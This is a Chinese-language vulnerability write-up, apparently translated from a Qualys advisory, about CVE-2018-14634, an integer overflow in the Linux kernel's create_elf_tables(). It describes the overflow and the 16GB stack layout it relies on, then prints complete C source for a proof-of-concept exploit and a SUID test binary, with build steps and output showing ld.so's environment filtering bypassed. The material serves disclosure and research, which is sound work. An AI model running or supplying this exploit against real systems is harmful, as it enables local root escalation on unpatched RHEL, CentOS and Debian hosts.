Linux create_elf_tables函式整數溢位漏洞(CVE-2018-14634)的分析與利用
概述
我們在Linux核心create_elf_tables()函式中發現了一個整數溢位漏洞。因此,本地攻擊者可以藉助SUID-root二進位制檔案在64位系統上進行漏洞利用,從而獲得完整Root許可權。
該漏洞在Commit b6a2fea39318(2007年7月19日提交,增加可變長度引數支援)中存在,從Commit da029c11e6b1(2017年7月7日提交,將arg棧限制為_STK_LIM的75以下)版本開始修復。
後續的大多數Linux發行版本都將da029c11e6b1改動加入了核心之中,然而Red Hat Enterprise Linux、CentOS以及Debian 8(穩定版)都沒有將其更新到發行版本中,因此上述系統仍然存在這一漏洞,並且是實際可以利用的。
漏洞分析
150 #define STACK_ROUND(sp, items) 151(((unsigned long) (sp - items)) &~ 15UL) ... 165 create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec, ... 169int argc = bprm->argc; 170int envc = bprm->envc; 171elf_addr_t __user *sp; ... 178int items; ... 190p = arch_align_stack(p); ... 287items = (argc + 1) + (envc + 1) + 1; 288bprm->p = STACK_ROUND(sp, items); ... 295sp = (elf_addr_t __user *)bprm->p;
其中,引數“argc”表示傳遞給execve()系統呼叫的命令列引數的數量,該引數受限於MAX_ARG_STRINGS(位於fs/exec.c中)。引數“envc”表示傳遞給execve()的環境變數的數量,同樣受限於MAX_ARG_STRINGS。但是,由於MAX_ARG_STRINGS是0x7FFFFFFF,因此我們可以使items(位於第287行)整數溢位,並使其為負數。
這樣一來,我們就可以增加userland棧指標,而不是減少其數量(在第288行和第295行,在x86_64上),從而將userland重定向到我們的引數和環境字串(已經複製到fs/exec.c棧頂)的中間。最終,在使用者域執行SUID-root二進位制檔案時,就將覆蓋這些字元。
漏洞利用
我們使用execve()執行一個SUID-root二進位制檔案,其中包含0x80000000的“items”(也就是INT_MIN “items”)。0x80000000 sizeof(char ) = 16GB引數指標、16GB引數字串和16GB環境字串。我們在實現漏洞利用時,實際上只需要2 16=32GB的記憶體,而不需要3 16或者更多。原因在於,我們使用了一些技巧,來減少其記憶體佔用。舉例來說,我們將近16GB的相等自變數指標(Equal Argument Pointer)替換為等效的檔案支援的對映,幾乎不會消耗任何記憶體。
下圖展示了當SUID-root二進位制檔案開始執行時,ld.so中使用者空間棧的結構:
| argument strings|environment strings| --|---|--------|---------+---------|---------+---------+---------+---------|-- | A | sprand | protect | padding | protect | scratch | onebyte | padding | --|---|--------|---------+---------|---------+---------+------^--+---------|-- |0-8192~16GB1MBrsp~16GB v<-------+---|----------| |stack | B | pointers | -------------->-------------->-------------->--------------/16GB 0x80000000 * sizeof(elf_addr_t) = 16GB
其中:
“A”(“alpha”)是由create_elf_tables()(位於190-287行)分配的棧空間數量,大約512位元組。
“sprand”是由create_elf_tables()(位於190行)分配的隨機棧空間數量,從0位元組到8192位元組不等。
“protect”引數字串是重要命令列引數和選項(例如:argv[0]、SUID-rood二進位制檔案的檔名),這裡的內容必須要防止發生記憶體損壞。
“padding”引數字串佔用大約16GB的棧空間。
“protect”環境字串是重要的環境變數(例如:LD_PRELOAD環境變數,它由ld.so的handle_ld_preload()函式處理),同樣需要防止記憶體損壞的發生。
“scratch”環境字串是用於執行SUID-root二進位制檔案的1MB安全棧空間。“items”的整數溢位會將userland棧指標“rsp”重定向到我們的引數和環境字串的中間(也就是偏移量為0x80000000 * sizeof(elf_addr_t) = 16GB的位置)。更準確的說,其實是“onebyte”環境字串的中間位置。
“onebyte”環境字串是256KB單位元組(空)環境變數,將會被ld.so的handle_ld_preload()函式中4KB fname[]緩衝區部分覆蓋。
“padding”環境字串佔用大約16GB的棧空間。
在“items”發生整數溢位以及使用者空間棧指標“rsp”發生重定向之後,16GB的引數和環境指標“pointers”(即argv[] 和envp[]陣列)被create_elf_tables()寫入到“padding”環境字串上。
“B”(“beta”)是在呼叫handle_ld_preload()之前由ld.so分配的棧空間數量,它大約為9KB,並且是在“onebyte”環境字串的中間分配。
因此,ld.so會使用handle_ld_preload()中fname[]緩衝區,對 “onebyte”環境變數中的部分內容進行覆蓋(也就是重寫)。我們可以通過LD_PRELOAD環境變數來控制fname[]緩衝區中的內容。這樣一來,process_envvars()中的過濾UNSECURE_ENVVARS(包括LD_AUDIT、LD_LIBRARY_PATH、LD_PRELOAD等等)就無效了。在實際漏洞利用過程中,不包含ld.so中的UNSECURE_ENVVARS過濾,留給感興趣的讀者練習。
在我們的PoC中,利用了create_elf_tables()的整數溢位,從而導致ld.so中缺少UNSECURE_ENVVARS過濾。正常情況下,LD_LIBRARY_PATH應該被ld.so從環境變數中刪除,而在漏洞利用過程中卻沒有。PoC在這種情況下,執行SUID-root二進位制檔案(poc-suidbin.c)的main()。具體的演示如下:
# gcc -O0 -o poc-suidbin poc-suidbin.c # chown root poc-suidbin # chmod 4555 poc-suidbin $ gcc -o poc-exploit poc-exploit.c $ time ./poc-exploit ... ERROR: ld.so: object 'LD_LIBRARY_PATH=.0LD_LIBRARY_PATH=.0LD_LIBRARY_PATH=.' from LD_PRELOAD cannot be preloaded: ignored. ERROR: ld.so: object 'LD_LIBRARY_PATH=.0LD_LIBRARY_PATH=.' from LD_PRELOAD cannot be preloaded: ignored. ERROR: ld.so: object 'LD_LIBRARY_PATH=.' from LD_PRELOAD cannot be preloaded: ignored. argc 2147090419 stack 0x7ffbe115008f < 0x7ffbe1150188 < 0x7fffe0e50128 < 0x7ff7e11503ea < 0x7ffbe102cdea getenv 0x7ffbe114d83b . 0x7ffbe114d82b LD_LIBRARY_PATH=. 0x7ffbe114df60 LD_LIBRARY_PATH=. 0x7ffbe114df72 LD_LIBRARY_PATH=. ... 0x7ffbe114e69e LD_LIBRARY_PATH=. 0x7ffbe114e6b0 LD_LIBRARY_PATH=. 0x7ffbe114e6c2 LD_LIBRARY_PATH=. real5m38.666s user0m0.049s sys1m57.828s
PoC
/* * poc-exploit.c for CVE-2018-14634 * Copyright (C) 2018 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program.If not, see <http://www.gnu.org/licenses/>. */ #include <limits.h> #include <paths.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> #define MAPCOUNT_ELF_CORE_MARGIN(5) #define DEFAULT_MAX_MAP_COUNT(USHRT_MAX - MAPCOUNT_ELF_CORE_MARGIN) #define PAGESZ ((size_t)4096) #define MAX_ARG_STRLEN ((size_t)128 << 10) #define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF) #define die() do { fprintf(stderr, "died in %s: %un", __func__, __LINE__); exit(EXIT_FAILURE); } while (0) int main(void) { if (sizeof(size_t) != sizeof(uint64_t)) die(); const size_t alpha = 512; const size_t sprand = 8192; const size_t beta = (size_t)9 << 10; const size_t items = (size_t)1 << 31; const size_t offset = items * sizeof(uintptr_t); #define LLP "LD_LIBRARY_PATH=." static char preload_env[MAX_ARG_STRLEN]; { char * const sp = stpcpy(preload_env, "LD_PRELOAD="); char * cp = preload_env + sizeof(preload_env); size_t n; for (n = 1; n <= (size_t)(cp - sp) / sizeof(LLP); n++) { size_t i; for (i = n; i; i--) { *--cp = (n == 1) ? '' : (i == n) ? ':' : '0'; cp -= sizeof(LLP)-1; memcpy(cp, LLP, sizeof(LLP)-1); } } memset(sp, ':', (size_t)(cp - sp)); if (memchr(preload_env, '', sizeof(preload_env)) != preload_env + sizeof(preload_env)-1) die(); } const char * const protect_envp[] = { preload_env, }; const size_t protect_envc = sizeof(protect_envp) / sizeof(protect_envp[0]); size_t _protect_envsz = 0; { size_t i; for (i = 0; i < protect_envc; i++) { _protect_envsz += strlen(protect_envp[i]) + 1; } } const size_t protect_envsz = _protect_envsz; const size_t scratch_envsz = (size_t)1 << 20; const size_t scratch_envc = scratch_envsz / MAX_ARG_STRLEN; if (scratch_envsz % MAX_ARG_STRLEN) die(); static char scratch_env[MAX_ARG_STRLEN]; memset(scratch_env, ' ', sizeof(scratch_env)-1); const size_t onebyte_envsz = (size_t)256 << 10; const size_t onebyte_envc = onebyte_envsz / 1; const size_t padding_envsz = offset + alpha; /***/ size_t padding_env_rem = padding_envsz % MAX_ARG_STRLEN; const size_t padding_envc = padding_envsz / MAX_ARG_STRLEN + !!padding_env_rem; static char padding_env[MAX_ARG_STRLEN]; memset(padding_env, ' ', sizeof(padding_env)-1); static char padding_env1[MAX_ARG_STRLEN]; if (padding_env_rem) memset(padding_env1, ' ', padding_env_rem-1); const size_t envc = protect_envc + scratch_envc + onebyte_envc + padding_envc; if (envc > MAX_ARG_STRINGS) die(); const size_t argc = items - (1 + 1 + envc + 1); if (argc > MAX_ARG_STRINGS) die(); const char * const protect_argv[] = { "./poc-suidbin", }; const size_t protect_argc = sizeof(protect_argv) / sizeof(protect_argv[0]); if (protect_argc >= argc) die(); size_t _protect_argsz = 0; { size_t i; for (i = 0; i < protect_argc; i++) { _protect_argsz += strlen(protect_argv[i]) + 1; } } const size_t protect_argsz = _protect_argsz; const size_t padding_argc = argc - protect_argc; const size_t padding_argsz = (offset - beta) - (alpha + sprand / 2 + protect_argsz + protect_envsz + scratch_envsz + onebyte_envsz / 2); const size_t padding_arg_len = padding_argsz / padding_argc; /***/ size_t padding_arg_rem = padding_argsz % padding_argc; if (padding_arg_len >= MAX_ARG_STRLEN) die(); if (padding_arg_len < 1) die(); static char padding_arg[MAX_ARG_STRLEN]; memset(padding_arg, ' ', padding_arg_len-1); static char padding_arg1[MAX_ARG_STRLEN]; memset(padding_arg1, ' ', padding_arg_len); const char ** const envp = calloc(envc + 1, sizeof(char *)); if (!envp) die(); { size_t envi = 0; size_t i; for (i = 0; i < protect_envc; i++) { envp[envi++] = protect_envp[i]; } for (i = 0; i < scratch_envc; i++) { envp[envi++] = scratch_env; } for (i = 0; i < onebyte_envc; i++) { envp[envi++] = ""; } for (i = 0; i < padding_envc; i++) { if (padding_env_rem) { envp[envi++] = padding_env1; padding_env_rem = 0; } else { envp[envi++] = padding_env; } } if (envi != envc) die(); if (envp[envc] != NULL) die(); if (padding_env_rem) die(); } const size_t filemap_size = ((padding_argc - padding_arg_rem) * sizeof(char *) / (DEFAULT_MAX_MAP_COUNT / 2) + PAGESZ-1) & ~(PAGESZ-1); const size_t filemap_nptr = filemap_size / sizeof(char *); char filemap_name[] = _PATH_TMP "argv.XXXXXX"; const int filemap_fd = mkstemp(filemap_name); if (filemap_fd <= -1) die(); if (unlink(filemap_name)) die(); { size_t i; for (i = 0; i < filemap_nptr; i++) { const char * const ptr = padding_arg; if (write(filemap_fd, &ptr, sizeof(ptr)) != (ssize_t)sizeof(ptr)) die(); } } { struct stat st; if (fstat(filemap_fd, &st)) die(); if ((size_t)st.st_size != filemap_size) die(); } const char ** const argv = mmap(NULL, (argc + 1) * sizeof(char *), PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (argv == MAP_FAILED) die(); if (protect_argc > PAGESZ / sizeof(char *)) die(); if (mmap(argv, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argv) die(); { size_t argi = 0; { size_t i; for (i = 0; i < protect_argc; i++) { argv[argi++] = protect_argv[i]; } } { size_t n = padding_argc; while (n) { void * const argp = &argv[argi]; if (((uintptr_t)argp & (PAGESZ-1)) == 0) { if (padding_arg_rem || n < filemap_nptr) { if (mmap(argp, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argp) die(); } else { if (mmap(argp, filemap_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, filemap_fd, 0) != argp) die(); argi += filemap_nptr; n -= filemap_nptr; continue; } } if (padding_arg_rem) { argv[argi++] = padding_arg1; padding_arg_rem--; } else { argv[argi++] = padding_arg; } n--; } } if (argi != argc) die(); if (argv[argc] != NULL) die(); if (padding_arg_rem) die(); } { static const struct rlimit stack_limit = { .rlim_cur = RLIM_INFINITY, .rlim_max = RLIM_INFINITY, }; if (setrlimit(RLIMIT_STACK, &stack_limit)) die(); } execve(argv[0], (char * const *)argv, (char * const *)envp); die(); }
SUID-root二進位制檔案
/* * poc-suidbin.c for CVE-2018-14634 * Copyright (C) 2018 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program.If not, see <http://www.gnu.org/licenses/>. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define die() do { fprintf(stderr, "died in %s: %un", __func__, __LINE__); exit(EXIT_FAILURE); } while (0) int main(const int argc, const char * const * const argv, const char * const * const envp) { printf("argc %dn", argc); char stack = ''; printf("stack %p < %p < %p < %p < %pn", &stack, argv, envp, *argv, *envp); #define LLP "LD_LIBRARY_PATH" const char * const llp = getenv(LLP); printf("getenv %p %sn", llp, llp); const char * const * env; for (env = envp; *env; env++) { if (!strncmp(*env, LLP, sizeof(LLP)-1)) { printf("%p %sn", *env, *env); } } exit(EXIT_SUCCESS); }